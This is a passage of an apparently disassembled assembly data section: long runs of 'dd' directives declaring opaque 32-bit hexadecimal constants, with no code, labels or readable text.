7B84FFAh, 8228807Fh, 8BA33184h, 2183ECF1h dd 0FC90C8B8h, 472EA701h, 0F9B6FE6Dh, 88675020h, 23FC714Fh dd 1482440Ch, 1D2B087Fh, 0C0394B22h, 0F3153806h, 18CF461Ah dd 320C0023h, 76D7945h dd 64F9F0B8h, 154F6143h, 8B499F35h, 0ACE96803h, 40511E22h dd 8040776Dh, 0C312818Eh, 22119C60h, 13CB4324h, 8D8B7Fh dd 0FE5D7DEFh, 38308CD8h, 0C3B57949h, 0CA3F009Bh, 0B2352476h dd 2A009A5Eh, 4288D746h, 0C0E0366h, 3FBB3113h, 0DF005A89h dd 0C735306Bh, 0FD3E3Ah, 5547809Fh, 10F25E64h, 0C90C0301h dd 238E768Ch, 0C0381BC4h, 0E8959971h, 0EB0086AEh, 0D49C6958h dd 3FC9059h, 76D844A7h, 65C19E9Ah, 773970DAh, 604B324Ch dd 1B84A3F1h, 7D4A0C8Ch, 139130B4h, 53142670h, 21BC54E5h dd 6D1138h, 5A45B7DFh, 11E9C896h, 40C225C7h, 0A713C69Ch dd 7069CDCh, 0F018BA5Bh, 0BBDB00D0h, 128B75DFh, 31C086CFh dd 0E8C5AC20h, 3AE5003Bh, 434BAF2Dh, 40C64266h, 29BE6Dh dd 8F808CBCh, 0BD4B4838h, 715D7600h, 0A4327566h, 4F81C350h dd 0B17C3103h, 18A4BE45h, 6D3F0305h, 20002A36h, 0A257A27h dd 0ECA935FDh, 0D3C00051h, 158C7B26h, 7F03D976h, 0B8E9AC9Bh dd 38491817h, 8EF1514Ch, 0BF0E3998h, 2C6D3551h, 0C0D7A96Ah dd 8C811FE0h, 823C61BEh, 1C9192Dh, 6422BB21h, 3F6B5800h dd 0FA55D75Bh, 0A799DD00h, 19E3202Ch, 91E4078Dh, 23A64F6h dd 84906C43h, 0F7009BA4h, 3D5AFC7Bh, 3FA77904h, 89156468h dd 0BF3C9C5Fh, 3EB3E90Ch, 1E038DB9h, 0CC8C86EAh, 0AC809FA0h dd 50FD328Ah, 881BEC06h, 0A300B310h, 7F4004D7h, 48BA01E0h dd 2C223874h, 33074F14h, 42A584B0h, 0CC98805Ah, 0B600370Eh dd 0EC0A97D5h, 63C325CFh, 3222C1F0h, 8CB081DBh, 0B078CB40h dd 30479228h, 0C2C0222h, 9B6D4927h, 0F6008939h, 0FF78217Fh dd 11047AC8h, 3D4D388Bh, 8700061h, 6414D0DBh, 480D5437h dd 356C00EAh, 285D20CCh, 0C8D0558Ch, 0D9F07B34h, 22185448h dd 0BF6D3035h, 48573379h, 0D0E4EA00h, 1CFB9D79h, 5D74280Ch dd 3640084h, 0B418CB56h, 0DB26994Bh, 923C723Ch, 1C2014B5h dd 1E7FDDE9h, 0C039538Dh, 0C475F55Bh, 0E024293Dh, 4160AC23h dd 759A1E91h, 38BE0067h, 0FAD51B43h, 23184883h, 49293513h dd 5BB1AC5h, 38826ECCh, 0A043A017h, 404315F0h, 9E1D98C0h dd 3E6BF418h, 0EE801B8Ch, 33C6CB42h, 4800F543h, 0F44EFFFBh dd 0C14A1A83h, 0BF19B8F9h, 801D20A7h, 0B31BFC12h, 3CD2C00h dd 0F73DBDC1h, 2045D842h, 278C8FDDh, 0ACB48D26h, 47669F41h dd 1F40C670h, 3D32E639h, 122B8787h, 41049C7h, 150AE291h dd 0C85C8C4Bh, 48533211h, 0DCE69301h, 0FCC6C374h, 4A13E2E8h dd 8D001715h, 668B073Ah, 0E47FDAh, 0BFA805EFh, 0CEA2E96Eh dd 0E304A48h, 0A7EB88BEh, 79CC6D42h, 0FEF5004Dh, 966147B4h dd 8A003DB9h, 0B8CF7A25h, 0C0836C26h, 38AC0429h, 1CB050D0h dd 0C4B4E03Bh, 3D650142h, 4A2263A3h, 0A9573058h, 3AD62B07h dd 645A8108h, 741011h, 0DDF33B26h, 896FB32Ah, 0AFFB38h dd 4F2DDF40h, 1492D3B0h, 40E07EEAh, 0E336EB00h, 14AE11D9h dd 0B81E8E9h, 0A5A84700h, 0C6E8FE22h, 1261C36Ch, 3972B9CBh dd 0F6A3EA0Dh, 0D408B86Bh, 4BA44864h, 1EF7713h, 0BBE4C600h dd 26842792h, 2024D2A2h, 9D49715h, 193B3F4Fh, 6D114AF8h dd 0F9718080h, 946ABE35h, 630906Bh, 0DBA38C54h, 334248B4h dd 4C471D11h, 0E22003A0h, 341ADFh, 0EEA6C351h, 0CE132E68h dd 8763893Dh, 867F97DCh, 0C1FAE062h, 42EA62C0h, 367C0084h dd 1F7E67ABh, 18981A56h, 0B8E11919h, 0F720A007h, 704E102Ch dd 20B4E826h, 0E73F459Ch, 7572F4F8h, 1E3A6500h, 0E4064F39h dd 1BA9CB3Eh, 615E2C10h, 8999B100h, 663EAE4Ah, 584D2659h dd 2B1158h, 0F380E985h, 4865192Dh, 0C429CCFAh, 0DAB82CCh dd 0A890B4D4h, 0DC007780h, 6571D309h, 0FD08BAh, 60782433h dd 0A0910EF8h, 0AA32DB01h, 2FDFC825h, 204838A6h, 0C5430174h dd 7A3E247h, 74AC3011h, 0A1463C07h, 6D50330Dh, 7CA564h dd 0E238BC22h, 6C4B06B7h, 81045F07h, 32A029ABh, 0B24805AEh dd 8A4F4470h, 0F95E912Eh, 0BC177101h, 27C16405h, 90E68BC4h dd 0E2A64014h, 54408641h, 646729ACh, 504618BDh, 134321FCh dd 0AEB02038h, 0C978249Dh, 4FFBAB00h, 189F9546h, 41F6022Ah dd 8B2365E5h, 20585941h, 0D378E328h, 1C7F9600h, 5138BBFBh dd 0C440003Eh, 0C8199BE4h, 0B0B246AFh, 308A3244h, 90F23BDFh dd 0F80120CAh, 88D2CEE4h, 0AC2484F3h, 3DBB3064h, 0E242E631h dd 3C579E00h, 6874FDFFh, 0CF7E001Bh, 5B9F175Dh, 70016446h dd 8B8DBF83h, 4C2135E9h, 32EBA18Eh, 886496h, 0AFE91CB0h dd 20BB468Dh, 0BD455081h, 78E8DF81h, 15512EADh, 0A38B42C0h dd 58141163h, 31A8879Eh, 0F16D3906h, 0C030472h, 94EB3588h dd 209F2820h, 4F248352h, 0E24EEC38h, 0EDA9EA2h, 474483A8h dd 836EC21h, 0A0FE88CCh, 37B8F51Ch, 8ABB7B81h, 98DFC1C6h dd 0BF7E280h, 0CC196B9Ah, 40BBD011h, 0FBED6660h, 3415A700h dd 2AA477C2h, 0BF89846h, 0A92EE7A0h, 49E9548Fh, 1E069C44h dd 52A41CC3h, 8B961728h, 0D53420B4h, 0DC0502A0h, 294BF235h dd 0EBE78C00h, 80447A14h, 5007D27h, 99FCA6A9h, 9669211h dd 6CA31E03h, 29CD7006h, 27794B60h, 2E1B90C4h, 434CD025h dd 7178B1E9h, 84203C50h, 4312ED81h, 0ACBDA460h, 4AADCBA0h dd 8220653Bh, 8CFAAED1h, 1CE643h, 29A66C1Dh, 0B32CAC30h dd 0DEDDB201h, 181476C8h, 0FF2D5180h, 0CC434EBEh, 0B511E200h dd 90223F9Bh, 4E0A6B71h, 60798019h, 0C05F9F5h, 28D3EC72h dd 0E64CC482h, 8B2D449Ch, 0DA1800B8h, 26C8C8AEh, 220800D7h dd 446BA07Ah, 9300455Bh, 9988C0Bh, 96A132E5h, 4164829Ch dd 0C0404DEAh, 0C317288Ch, 0FC46270Eh, 39616CCDh, 0AE02DD3Ch dd 3D83B1E8h, 78755490h, 817EF73Fh, 2A6061A7h, 0F1801614h dd 0B6592177h, 64006C46h, 0ABB7A0FCh, 4A6D585Ah, 0C2CC0032h dd 0C745EC2Fh, 49645600h, 5B38209Ch, 0C6B40201h, 0A88103CBh dd 0A41844E2h, 0E81D65F8h, 0DA405401h, 5E787C39h, 0A18B1C20h dd 0AA0BC012h, 65093331h, 0A0F02262h, 0CD6D0380h, 0D0A7B900h dd 0C71D062Fh, 26670050h, 8FB5B707h, 180041D3h, 1A9639E4h dd 92113D1Fh, 3D4F068h, 0AD53CA4Eh, 4FA18CDEh, 3FBC2314h dd 92ACD41Bh, 0E3583803h, 0A8CC7C37h, 5F5EFF1h, 0AE19E1C3h dd 0DCD888A0h, 73672414h, 14221E8h, 138976A3h, 40F18011h dd 102F15B8h, 5F3100B0h, 0CDBDE5DEh, 0DA1CF3F4h, 4842B2Ah dd 92446A4Ch, 20CC2288h, 7BE8352Fh, 20378C00h, 79A2FE4Eh dd 0B2E7059Dh, 6394C5Ah, 980161F0h, 0DAE9640Bh, 19900FE2h dd 0EC71399h, 0E0D43F91h, 879F3080h, 0CCE076E4h, 0D7597407h dd 0A8225B65h, 0C2C8E028h, 1889C0Eh, 860A8A36h, 17D832B4h dd 0FE01A8CBh, 9740BC2Bh, 790BDCh, 0E5E2DE39h, 6D7DB43Ch dd 0F143749h, 208575D1h, 0D339055Ah, 0FD20001Ch, 86E7649Bh dd 2D16F0AAh, 0B8306F1Bh, 7043F1Fh, 5BDC158Ah, 6D7CE0BCh dd 0FE01D0D5h, 0ADB4FB41h, 3C32BB36h, 738F0070h, 7EE93777h dd 0B8B07B11h, 0BE04BFE4h, 968C0FA3h, 0EFBB70CCh, 0EB2C3980h dd 491AA7FEh, 993FD600h, 19B1DDAFh, 0C5D10009h, 15B09005h dd 6D307347h, 0E3C0D133h, 0C4AD00C3h, 0BE18D47Ah, 88E44745h dd 0D375D202h, 4498320Bh, 946D2A28h, 0B02700E4h, 0EABF0AAAh dd 690147DEh, 0D74C55B4h, 0AC2C3A14h, 1C3828h, 9BA7020Ch dd 0DB931822h, 0DE3D211Ch dd 0EA1EB680h, 9C9DDC7Eh, 3C78E054h, 0AD7F41DEh, 159EA00h dd 50BBA114h, 1120B122h, 0DCE02645h, 94307E63h, 0E5CF3C0h dd 9C61C8C0h, 127B2282h, 9090E4C2h, 0FB0A148h, 60BB1024h dd 35934934h, 0DD029C94h, 0B55497BDh, 27244CA1h, 91BF31h dd 84990C06h, 44C0CD26h, 0EA8F5660h, 0C7E4BBh, 0FAB53BD7h dd 0CD1792EEh, 123A3004h, 58E2F1CCh, 3D249828h, 21A61D65h dd 41A02688h, 22C12D27h, 8E704004h, 39081432h, 0B06438h dd 0D53494C5h, 4AC6AD9Bh, 3AE8425Ch, 0E45D4AEEh, 0BEB4F22h dd 0DC0483A4h, 644B8Ch, 3EBCD538h, 653D0FB5h, 472BE1E9h dd 3091348Dh, 4C94AD88h, 7CB018BEh, 3A4F4319h, 40A0579h dd 118AEE8h, 3091C34Bh, 8100D738h, 6ED7D239h, 145D3FFh dd 7AC9DE1h, 39BA521Bh, 0D1738090h, 8CF45Bh, 85A4E00Ch dd 9EB61359h, 102249h, 5B7CA08Bh, 589AD81Ch, 7DC0DC70h dd 76E80D4Dh, 848E243Eh, 0C622FEC2h, 90F29D84h, 0BEC46300h dd 78B77204h, 59F75303h, 0C05A11F3h, 1DBACB8Bh, 0AAB051B2h dd 10AB0360h, 698FD75Fh, 92E2E6D0h, 2F1BB625h, 2CC44040h dd 71FF517h, 929F3CF7h, 7DB080B2h, 5F0C6A1Ch, 0A95D1423h dd 14C65C12h, 0F38FB4D1h, 313FAD05h, 0D00341B0h, 54B14BCBh dd 66028B1Fh, 0E62A7FABh, 3E7501E0h, 1346B274h, 24C7042h dd 369D38C4h, 0ACD88Ch, 0B16B6D76h, 0BF9475BAh, 0D3F5601h dd 377EF881h, 9C009C3Dh, 0A494B025h, 0DA64F25Eh, 5482A391h dd 20C4A2D1h, 0B86C21h, 388D6472h, 0FDCC970Ah, 317CFB00h dd 0CB06576Bh, 3EEB261Ch, 0C9B216FCh, 8CDBE390h, 27ECD8E5h dd 0F97C20F2h, 0E80C4005h, 98CD25B8h, 0D4C00C3Ch, 573707CEh dd 0B898397Ch, 14224E16h, 0FECB6C20h, 7DF700E5h, 0A48EE49Bh dd 981EA8C5h, 0F3C16050h, 731DC3D1h, 243C6BE4h, 64FCFA32h dd 19923215h, 51A84230h, 5600362Fh, 0A617EE14h, 74EB03B9h dd 8260C1E5h, 0C44472DAh, 9894CF22h, 92F512F4h, 9E6080CCh dd 0D7094047h, 96FB328Bh, 571D39C8h, 0E7D69880h, 4EB4BEBCh dd 8ADB2C01h, 0F1C62503h, 2021CC23h, 0B8202C24h, 411C4F18h dd 881214C9h, 6D00BAFAh, 29B3551Eh, 0A45247h, 0E258BF01h dd 436E7708h, 0C0381C48h, 0F37AC68Dh, 4588986Fh, 0EC586146h dd 429F733Ch, 98981974h, 7886309h, 41DC727Ch, 0A0286893h dd 0F554A9h, 55E5527Bh, 403E9EFCh, 4332B0A0h, 80E06C5Ch dd 6E4C7562h, 60DB014Fh, 96075F3Dh, 0BCDDE470h, 880CFF32h dd 43F86075h, 875F39C4h, 4C12D454h, 14C480C8h, 0C59CD79Ah dd 0D70C00C3h, 0E4847127h, 534014B4h, 3333BDEh, 0E958B262h dd 71F1CE6Ch, 2D98343Fh, 24B73A0Eh, 202CB43h, 20838558h dd 0C321F186h, 0E02D7924h, 982F1B0Ah, 25EEE641h, 0EA740BD0h dd 7462F18Ch, 2C694F08h, 7B192780h, 0C053AE32h, 4BCA3C91h dd 3713F28Dh, 58D01480h, 1D8104h, 0B503164Eh, 0E945C1ABh dd 9680B948h, 0E995B50Ch, 3ABB00D1h, 2C15224h, 6124BD8h dd 7C1DDA99h, 642E4011h, 0BE816E3Ch, 0DC7254A1h, 0BF00CA39h dd 946CE8CFh, 5AFF10h, 70F590FCh, 5D435F84h, 0C7F0A0A6h dd 26928300h, 50B8FD8Ch, 0B3E9252Eh, 0F4108892h, 8DFA20F7h dd 2CD9DD3Ch, 1B618C97h, 0B468166Ah, 250F280h, 320315F1h dd 202F4ECBh, 0C83A8889h, 0BA60201Bh, 5E8CDC48h, 0A2C6820h dd 3DF20033h, 4CF9F5B2h, 0DF00C6E5h, 7359CE8Bh, 12A645ABh dd 32B9A968h, 16106CA4h, 408B017Eh, 1AF1F565h, 8D598033h dd 0AB310C08h, 423D00AEh, 5B6E7864h, 0F30B224Dh, 5F42C12h dd 0BC807CA8h, 9A8E42E2h, 45F09050h, 80582C18h, 2DDB1006h dd 0A4BB48A6h, 9CF9CB80h, 24BA7184h, 0F827364Eh, 9BE98100h dd 1BD80155h, 8C8FDC45h, 33D0203Ch, 0C6C4898Ah, 24F41620h dd 8CB425CEh, 22073A88h, 90AA30B5h, 0E1DBBE21h, 88390420h dd 700B1E2Ah, 1F8D1C3h, 75F67E11h, 0DF0EF0h, 288C4F13h dd 36AED6F9h, 0ABDA6403h, 0C011DB3Bh, 9B2365E1h, 0D01490ACh dd 5DC3C1F8h, 0E0691B27h, 1A5F2202h, 3060F87Ah, 0E30E1D32h dd 65F60D50h, 2485FCC6h, 0B627388Ch, 9368EEB4h, 0B4A6D91Eh dd 0F867E405h, 4800305Eh, 0E53FB90Eh, 3A9D00F4h, 0C68C892Ah dd 0A21FC7D3h, 0B1531565h, 12318902h, 0A1A444CEh, 87146CB0h dd 2D947830h, 0CBB859B0h, 73F02575h, 1F43F440h, 0CB72FF6h dd 2414200Ch, 18079049h, 1004C7A2h, 0EA619650h, 0F7CE302Ch dd 0CB5F8304h, 0E28BF000h, 2571E6DDh, 26E0FCC5h, 124BF11h dd 24F65922h, 63F2D135h, 0F58B0090h, 2566F995h, 1A270972h dd 0E8E99490h, 6085143Ah, 0DC8754E2h, 74A10011h, 0D305EAC7h dd 93D005AFh, 0AC12BC08h, 8E3F6090h, 0BD00B005h, 0AD1CB4A2h dd 0A19DF53h, 71AF3284h, 0F0C24298h, 66ABE922h, 0C8E0D608h dd 77000D70h, 0B9D3CD9Ah, 0A243E3h, 0F4EB33Bh, 0B6D791BDh dd 13336E0Ah, 44BA2C03h, 2DC60B8Eh, 0B0C8BB37h, 490B775Bh dd 76A78FAh, 399050D0h, 379A0Bh, 3522B92Ah, 267014DDh dd 0D814F09Ah, 84ACF2B5h, 0BC89ED32h, 0E4AA3C43h, 50DF4040h dd 0C52A1233h, 0C49B6CF1h, 805AB90Eh, 3BAC91CAh, 0D3A81F28h dd 31920901h, 385104A9h, 49BA6D8Ch, 0AC2101C7h, 0A40AEDC3h dd 0C4062A4Bh, 9529B90Ch, 65DF3C20h, 9C00D98Dh, 48047951h dd 0DA0F0Ch, 85D8CACBh, 6EAEAA61h, 0D80D49Ch, 69E37791h dd 9C260017h, 0B77FF89Eh, 0C20253E0h, 0EA14AF84h, 34F0A443h dd 0E6CB9440h, 650ED0D6h, 0A0BEABF1h, 96DA9B6Fh, 9517F9Dh dd 0C32527C6h, 3C806C45h, 0A132F19Dh, 1F089CB0h, 2B82AD9h dd 0C3430515h, 0B8582F38h, 0F4406C4Ah, 8CD2CB27h, 0F65F24BEh dd 251391B8h, 0C8104BBBh, 0FAD57Dh, 85F3B54Bh, 2A6D3E56h dd 0DAAC44A1h, 72CB1222h, 0F10A690h, 147601FCh, 866DBD00h dd 34793656h, 0D515F508h, 0AC902582h, 0BA00B732h, 4E48E18Bh dd 128A208h, 36AF6849h, 6DAB5CBFh, 64F0695Ch, 0F6D00064h dd 0FCB4D9F9h, 0C8B8DF34h, 58AF3E44h, 5E28F68Bh, 6C3B2084h dd 205BC942h, 1EB20BA4h, 0EE07887Ch, 0BDDF9142h, 0CB406BA0h dd 880979Ah, 73AA34FBh, 6505CCB0h, 4612A21Dh, 2F816C82h dd 5884C60Ah, 0BF00807Ch, 0F43FAFEFh, 0BB14DC8h, 1976B37Dh dd 22006C64h, 156634AEh, 270542EAh, 8427B1E8h, 8CA5C043h dd 3E6F4F34h, 96009E31h, 518B9D07h, 1344916Ch, 0B9742819h dd 3903B1Ch, 3E04F766h, 0C4C76A82h, 3A4F1641h, 24099072h dd 8CC0921Bh, 0A4A67064h, 0A183C2FFh, 80DCFB60h, 2E30CB2Ch dd 0A328C4E8h, 0D8049347h, 0E0CD1237h, 0E605C8A2h, 8813C65Eh dd 0BA03D5CCh, 617788B6h, 6BC7C803h, 5F850CFBh, 0EB89ED6Dh dd 4AADAE02h, 7319C6E9h, 0E84C85CCh, 6592C062h, 501D55AEh dd 503E5EEBh, 454475C4h, 414494C5h, 0F23CA032h, 3E00F04Eh dd 96F75D71h, 762E3C9h, 0B3A1CADh, 0D4980017h, 0DF30223Eh dd 0C8E8C832h, 45ACB02Eh, 0FA084049h, 0AEEC9A2Ch, 0E9485D05h dd 58081DB8h, 7000BA32h, 9050924Eh, 3001BAFBh, 8FA5962h dd 1A3087FDh, 40789E45h, 0AA3BBE32h, 0FD434A00h, 0D956CBF3h dd 310A1FCFh, 4BC6877h, 0F93E8C8Ah, 815CB8CDh, 0BEC75D4Fh dd 9CE7FD0h, 0C14A062Dh, 32774200h, 0D49107B1h, 4422E09Dh dd 6400583Dh, 0EE3E935Fh, 0F46830h, 251D3AE6h, 0C9A6A0C1h dd 43F03354h, 3C5AF218h dd 356E39h, 550C1208h, 0FAF75954h, 7B7A227Bh, 0FC65601Eh dd 0AE27FEC2h, 5F4E04Ah, 48909542h, 820159FAh, 96913A2Eh dd 0B0633C76h, 80240D00h, 1D356CCEh, 643E0E16h, 0AA7488h dd 90ECA49Eh, 31D7D6EEh, 5AB5AF0Ch, 736C213Fh, 3DBA0092h dd 0A0A76D7Bh, 0EA187CADh, 0D7F83720h, 7E0F04B5h, 0C2E0498Ch dd 78C56D3Ch, 0B214EB82h, 99E8B845h, 1EF100F3h, 48A66546h dd 53009DC9h, 2E273ACDh, 921C5424h, 508E4960h, 5CC0A848h dd 64222443h, 9FB8A228h, 9EDC281Fh, 98C83E56h, 6F4E01Ch dd 0D6702220h, 0BA0042CEh, 9CAAC1F0h, 15CAB9A1h, 8C06E1D9h dd 52E7410Ah, 5FE060ACh, 944BBA17h, 48142001h, 4E2F326Fh dd 8D855D40h, 2538C31Bh, 408CB0C0h, 3E08909Ah, 0AC58074Fh dd 3475601Ch, 81007ED0h, 0E77A5690h, 943C0Bh, 29DCD9DEh dd 6CF238C5h, 74C4192Eh, 0DAC2243h, 65326D52h, 5C2358h dd 0B4EB7D76h, 3834546h, 1174968Bh, 0DFA8D5ACh, 10B10B8Ch dd 0A41C4F08h, 7FC26D8h, 4B3DE2E9h, 47ED0830h, 2450F896h dd 1CAB4831h, 0E3801ECFh, 18E9AD78h, 0CF214C00h, 29E05ABEh dd 0F718BADFh, 7C034F11h, 0C678D9D4h, 8D898C28h, 11A1EE06h dd 9A0C13F8h, 4834E18Ch, 603CB9BEh, 907EA13h, 0FEB1B01h dd 6B3E8F9h, 368C2838h, 7C00CEE9h, 258832F4h, 970152h dd 0A72F894Ah, 76A89B62h, 0F30E8616h, 0EB70C4C0h, 0CDFE4BC6h dd 8916C07Ch, 0DDDA7D64h, 55613980h, 42A73CB8h, 84C4BBA5h dd 0F4EABF05h, 64812AE3h, 381213AFh, 4C5B6080h, 0FF00C886h dd 0EE7249C1h, 501C5F16h, 300A80E0h, 1A88D0D3h, 49C59A6Dh dd 6C5209ACh, 604F34D2h, 0F32917h, 5BD6041h, 0C9BA5F9h dd 0CA25E712h, 3600C0E2h, 91DA64D8h, 0F507EAA0h, 81CC8CB5h dd 8EE1E637h, 0C0603F1Eh, 0E8225862h, 421E811h, 20CAD7A3h dd 24F094C0h, 0EAC73125h, 40142259h, 3F0FA970h, 2A59C00h dd 8C4F2DBBh, 0DFDB0090h, 67CDC53Ah, 8FE222B3h, 8EB5131h dd 507DBB4Dh, 18D79A00h, 754BEAAh, 16D0302Eh, 7CC93C00h dd 0EC7BEC73h, 0C046716Ch, 0D839AC79h, 5A3F7867h, 0E32E12DDh dd 963E8808h, 7D2CC724h, 0A880DAE8h, 4C148E47h, 38000B9h dd 20A32313h, 802950AEh, 0DD6909EAh, 60299AB4h, 3E9128E0h dd 26956EEAh, 92B0F4h, 0D8D76FFDh, 7FB422FCh, 0B2217C98h dd 0EACA0815h, 8BE810ADh, 7A4500F5h, 3531DAA3h, 6F018419h dd 9438D302h, 42CD47A8h, 1894ABE6h, 0C0BD78h, 0E859BC19h dd 40DE29CCh, 0A4D5D91Dh, 10F22FBDh, 0C8DD2Ch, 0F110EB8Eh dd 0DF034EFEh, 4BC4CA48h, 84ED6C38h, 8807891h, 9C791A95h dd 0B7A4A13h, 183028B0h, 20E053D6h, 0BA8BE200h, 0E53E816Bh dd 49AE4A32h, 0F0901B60h, 0FE00736Ch, 0D3C03B74h, 626549h dd 461B30D1h, 1204137Eh, 0A65F8925h, 8039AA1Ch, 4020A4C4h dd 64B61B44h, 0E087C781h, 16D8DA84h, 0EC78BF60h, 8CBEF02Ch dd 0E8FB2C02h, 107C71ADh, 2C1096C7h, 28EB26D4h, 92381B27h dd 6C8C616Dh, 5C9071A7h, 5D1C78CDh, 554ACB66h, 1AA5F422h dd 91085118h, 0A127126Bh, 841604C8h, 343244h, 1CBF1092h dd 0D376DEC7h, 5C22B41Eh, 805D3B0Ch, 4F3C88A3h, 85200248h dd 0BCB29632h, 0CFDDFA80h, 0EF0EB9D2h, 29E33D27h, 22600235h dd 1ACD142h, 205F3748h, 7BD640B0h, 1B5A6919h, 62421440h dd 8DF1Dh, 0FA92B47Ch, 2F4D25B8h, 126D5300h, 43E673AAh dd 64299F1Dh, 526FE004h, 5DC088h, 0BCD1D21Ch, 6971F721h dd 0F92A5400h, 27F1365Eh, 0AC1E48D3h, 76FF6373h, 24E1794Fh dd 8CD44CC8h, 885A3816h, 6D95800h, 984912A2h, 0E15E45A8h dd 0C0603CD1h, 328034B5h, 0EC2652ECh, 9CB0C34Fh, 65D2AEF0h dd 9927C303h, 0A5329D07h, 8C154C8Ch, 0CA73BCBAh, 0B9BB2A40h dd 50B300D0h, 0FAC7643Bh, 0D62D720Eh, 0E71B4092h, 76A3C218h dd 89854EB0h, 8B20C644h, 0A4B2A0h, 271069AEh, 0EAF3DCACh dd 0B0493896h, 0BD3D58h, 2CB628E9h, 0D4DBF82Dh, 0CD583003h dd 0D082E6ECh, 4CDACA34h, 8F06E83Ch, 0B943C601h, 0A243BC9Eh dd 0F3BEE030h, 0B1B009F8h, 4894276Eh, 98A1E702h, 0E078A615h dd 0E1B8066h, 105DA5DCh, 4DF526E0h, 209601C3h, 9A23B888h dd 0F0F0714Bh, 2E74B03Ch, 0FF0944A8h, 6B80059Dh, 20F316EEh dd 59AA524h, 0BE92DC00h, 0A2C68C4Bh, 85634F45h, 0EA980070h dd 0E9C91246h, 906C8A88h, 531D5E10h, 0D29000E4h, 65A05603h dd 1B04F516h, 0F284A4h, 0C144A649h, 5FB48A5Ah, 3F0B87FCh dd 9CB7E945h, 0BC9F000Ch, 0F31F39FFh, 7B070DC9h, 7157B30Bh dd 4BE8DCD0h, 1031E716h, 2044A066h, 0D9A40178h, 46803AF9h dd 0E62DE4C0h, 705D9800h, 0FBEFB353h, 94989082h, 986060E0h dd 0AB260E8Ch, 0E11834D7h, 91CD2558h, 60209668h, 546B56F4h dd 0F173E00h, 15C1FB32h, 384A0295h, 5A184220h, 3CCD8C80h dd 0C94A24F4h, 0E4C51830h, 0EA54FC88h, 36344C7Ah, 16ACD52Eh dd 6CE34Ch, 0D984DCD4h, 954EBF5Ch, 881BE804h, 0E103B58Ch dd 0F84AABF7h, 0D8C584B7h, 7AAFB881h, 83C21210h, 238C3CA1h dd 0FD420044h, 80B63364h, 0CB4A012Eh, 88A120B5h, 0F6F8718Fh dd 7B807828h, 7A58B6DDh, 1FC20078h, 0C84C97BAh, 424EB26Bh dd 999B060h, 69203AF1h, 4509537h, 3A6401B9h, 0E9D06F13h dd 653C3DE2h, 347F5E0Fh, 0E0BBAA04h, 6C524380h, 8F4C39E8h dd 0C7F30ADEh, 812040F4h, 20EF74Eh, 0A63F4726h, 3CD905D6h dd 0C93B0C00h, 14F3AEh, 17E11B60h, 0B504AAB1h, 70EC3898h dd 48442626h, 0A1B9E960h, 0CCED4C15h, 0CF0CC124h, 43270760h dd 0F2E9C087h, 0D89E24E6h, 0B740BB78h, 144FF811h, 0C1F88Ch dd 0BDCBDDE5h, 24FA3E22h, 8C5FA228h, 10901A25h, 1162DA4h dd 9982F081h, 0A015630Ah, 3544B4B8h, 2D6CFA8Bh, 2890A932h dd 0ED34EB8Dh, 6CA2C011h, 0A217CF00h, 338073E4h, 0CC388E74h dd 52FA80E7h, 0F22104B1h, 0F5910216h, 438CCA8Ah, 0C04FBC54h dd 0A8B7D7C1h, 5D3807E6h, 0A0AC30BDh, 0F8E3C373h, 0E27D1700h dd 7692E935h, 24775865h, 32A71C05h, 0D0A91Bh, 44BA6175h dd 2480ABF1h, 434E65Ch, 0A12E830Ah, 0D8206AF0h, 0E1DD003h dd 480CD80Dh, 0C48EF980h, 60B9275Dh, 0CC8DFB80h, 19FDFEh dd 73717FE6h, 3712E2C1h, 315E1602h, 0F3288B60h, 483088ECh dd 0AE00FC20h, 8CECCBEAh, 9F5B9328h, 136B748Eh, 0C06D50C9h dd 2D006FFEh, 0E13E649Bh, 0C296D4h, 0AE1C6172h, 251566C3h dd 0E9656A02h, 0D4446EB2h, 0FFCC05Ch, 923805FDh, 80A5B956h dd 4EEBC3E4h, 2C700B36h, 4764B47Bh, 1A27CF32h, 0C664A099h dd 0CE00A2F6h, 0FF19748Ch, 2CFBF830h, 160AE501h, 0C08AD0h dd 6D4C7730h, 0D24169h, 7AD3EE21h, 80A32F3Bh, 6062044Bh dd 830F98Ah, 4F9C4284h, 0A5441125h, 1771F109h, 9FBE8CC0h dd 74ECB0B9h, 3E21C90Ah, 76401471h, 58B0C6h, 67CA5CA2h dd 603F731Eh, 2ACB0901h, 0B0C31C08h, 486238E5h, 26B7007Dh dd 6B2FA27Dh, 0B0BCAA37h, 0C4CBB82Ch, 451E007Ch, 49840F65h dd 9448717Bh, 77280535h, 40C32D2Eh, 0BFC80848h, 3F9CBA68h dd 548B5862h, 0D3C836C0h, 5D7A9181h, 0B6FA51Dh, 3CDB9686h dd 4504448h, 364F1C0h, 12FBF5ECh, 9037885Fh, 5A1F4A00h dd 69C79100h, 25DF8993h, 9075FEBCh, 653828ACh, 2C062244h dd 38C8274Ah, 19200EAFh dd 9AE30139h, 45C85904h, 5F00479Eh, 76E1F835h, 98DE2EFCh dd 20909748h, 0A00361Fh, 0E9AC5369h, 28515241h, 12FE1CEFh dd 0A0804EA1h, 76157A64h, 4FBC434Fh, 11C10CCh, 0CA530878h dd 0E109F20Ch, 209DF872h, 5EF4DE3Bh, 0A4E2F4C2h, 0A3E0C8h dd 2745B310h, 6DB08427h, 1244AE08h, 0DD79F540h, 40013B37h dd 46424AC7h, 5AE0DFFAh, 72831D96h, 40686405h, 0CED2E201h dd 649A2600h, 0ABDA0BB1h, 389329ADh, 0A2210098h, 8B959732h dd 747D7000h, 4E05693Ah, 2A341FCCh, 45EB4EFAh, 842E30E5h dd 1B0CB988h, 886937BBh, 0ECFD5E9h, 0F362223Dh, 0AC8BD902h dd 8B06CD0h, 3489D34Ah, 0C5434880h, 0C11A4E7Fh, 14AC6D48h dd 2F9095FFh, 0D2B0ABB9h, 72AE1390h, 111200C2h, 8A2040EAh dd 3EE0931Eh, 0A2145479h, 5E3A5900h, 71E48FD5h, 72354C9Bh dd 8C4EE858h, 4E12D7C4h, 18884855h, 0F98F0002h, 0DEC63B0Bh dd 2779ED5Ch, 1C5B3300h, 461625D5h, 12017F47h, 828A4939h dd 0A1049DCCh, 24B224h, 5A13794Ah, 7EFC61h, 0C0B6C432h dd 15E72102h, 4044AE12h, 8437A408h, 5646A332h, 6C0240E3h dd 0A05A1C42h, 0E420DEE0h, 5F21243Fh, 9ED96C30h, 0AC909504h dd 10005493h, 0AA9BA239h, 2027653h, 28DFC574h, 58463E7Eh dd 0A22D8100h, 0D6371689h, 0F5A40964h, 304A9B0Fh, 3240445Ch dd 0BE6779h, 4CA4BF3Eh, 0A9915DB5h, 133B906h, 25DEEB1Eh dd 0D0892241h, 0F4CEB007h, 0AC20002Bh, 